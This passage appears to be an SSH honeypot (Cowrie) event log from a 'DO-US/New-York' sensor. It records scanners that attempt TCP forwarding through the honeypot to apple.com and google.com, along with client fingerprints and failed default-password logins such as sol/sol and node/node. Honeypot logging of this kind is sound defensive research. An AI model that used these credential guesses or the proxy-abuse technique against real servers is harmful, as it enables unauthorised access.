Z7\\x9fi\\xb6\\xf8\\xfe-\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:39.325510Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.52.180.240","dst_port":443,"src_ip":"80.94.95.118","src_port":46406,"message":"direct-tcp connection request to 23.52.180.240:443 from 127.0.0.1:46406","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:41.418534Z","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.52.180.240","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.52.180.240:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:42.345986Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.52.180.240","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\xdeL\\x8ec\\xb5\\xf4:\\x00\\xcd\\n\\xd0[f=\\xe0\"\\r`\\xd4\\xedY\\x02j\\xf8r\\x0c\\xd7#8u\\xfb \\x9eW\\xb5a\\xa0P@\\xaez\\xbe\\xd3_\\x03N\\xd8\\xe9e\\xf9|_\\xe3\\xa2\\xbb\\xb8f\\x9c\\x8e\\xab\\xac`\\x98\\xf3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\n\\xc1}g_\\xb0\\xb5\\xe7\\x19\\xf1M\\xc6\\xa9\\xe2?Q\\xc9\\xaf\\x0e\\xedY\\x03)!\\xd2\\xa6\\xa3\\xd4\\x07L\\xd4\\r\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 23.52.180.240:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\xdeL\\x8ec\\xb5\\xf4:\\x00\\xcd\\n\\xd0[f=\\xe0\"\\r`\\xd4\\xedY\\x02j\\xf8r\\x0c\\xd7#8u\\xfb \\x9eW\\xb5a\\xa0P@\\xaez\\xbe\\xd3_\\x03N\\xd8\\xe9e\\xf9|_\\xe3\\xa2\\xbb\\xb8f\\x9c\\x8e\\xab\\xac`\\x98\\xf3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\n\\xc1}g_\\xb0\\xb5\\xe7\\x19\\xf1M\\xc6\\xa9\\xe2?Q\\xc9\\xaf\\x0e\\xedY\\x03)!\\xd2\\xa6\\xa3\\xd4\\x07L\\xd4\\r\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:42.349829Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"80.94.95.118","src_port":47606,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:47606","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:44.192948Z","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:45.856785Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xe0\\xfbM\\x8b\\xa5`\\x91\\x1b\\xbb\\xee\\xce\\xa5\\xa6\\x05\\xd0\\x12\\xf4\\x80\\xcdY\\xca\\xc1\\n\\x8c8\\x9e\\xc0\\x11|~[ KL\\xb6R\\xa2\\x95\\xb5\\xc3Mj\\xc6x\\x90\\xf4M\\x0b\\xe0\\xd4n\\xbb\\xa4Y\\xa0\\x85\\xe2\\xfb\\x13\\xcc\\xdf\\r\\x8b\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\x94@k\\x86\\x90j\\x8at\\x1d\\xd7Y\\xef\\x91\\x8f\\x84\\xf2R\\xac~t\\xd3\\x80\\xa0\\xdaH\\xf9\\xcf4\\xc8k\\x04\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xe0\\xfbM\\x8b\\xa5`\\x91\\x1b\\xbb\\xee\\xce\\xa5\\xa6\\x05\\xd0\\x12\\xf4\\x80\\xcdY\\xca\\xc1\\n\\x8c8\\x9e\\xc0\\x11|~[ KL\\xb6R\\xa2\\x95\\xb5\\xc3Mj\\xc6x\\x90\\xf4M\\x0b\\xe0\\xd4n\\xbb\\xa4Y\\xa0\\x85\\xe2\\xfb\\x13\\xcc\\xdf\\r\\x8b\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\x94@k\\x86\\x90j\\x8at\\x1d\\xd7Y\\xef\\x91\\x8f\\x84\\xf2R\\xac~t\\xd3\\x80\\xa0\\xdaH\\xf9\\xcf4\\xc8k\\x04\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:45.860210Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:30:46.770727Z","src_ip":"80.94.95.118","session":"d78d2cc2cad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34486,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f51c9f7d54e","protocol":"ssh","message":"New connection: 80.94.92.186:34486 (10.17.0.5:22) [session: 2f51c9f7d54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:04.513221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:04.790273Z","src_ip":"80.94.92.186","session":"2f51c9f7d54e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:04.795097Z","src_ip":"80.94.92.186","session":"2f51c9f7d54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:06.079815Z","src_ip":"80.94.92.186","session":"2f51c9f7d54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:07.213691Z","src_ip":"80.94.92.186","session":"2f51c9f7d54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3bc40b108a6","protocol":"ssh","message":"New connection: 2.57.122.208:35286 (10.17.0.5:22) [session: c3bc40b108a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:46.027450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:46.139805Z","src_ip":"2.57.122.208","session":"c3bc40b108a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:46.146931Z","src_ip":"2.57.122.208","session":"c3bc40b108a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:47.085838Z","src_ip":"2.57.122.208","session":"c3bc40b108a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52478,"dst_ip":"159.203.135.109","dst_port":22,"session":"472eaf8c459a","protocol":"ssh","message":"New connection: 193.32.162.151:52478 (159.203.135.109:22) [session: 472eaf8c459a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:48.146492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:48.150617Z","src_ip":"193.32.162.151","session":"472eaf8c459a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:48.212914Z","src_ip":"2.57.122.208","session":"c3bc40b108a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:48.259181Z","src_ip":"193.32.162.151","session":"472eaf8c459a","protocol":"ssh"}
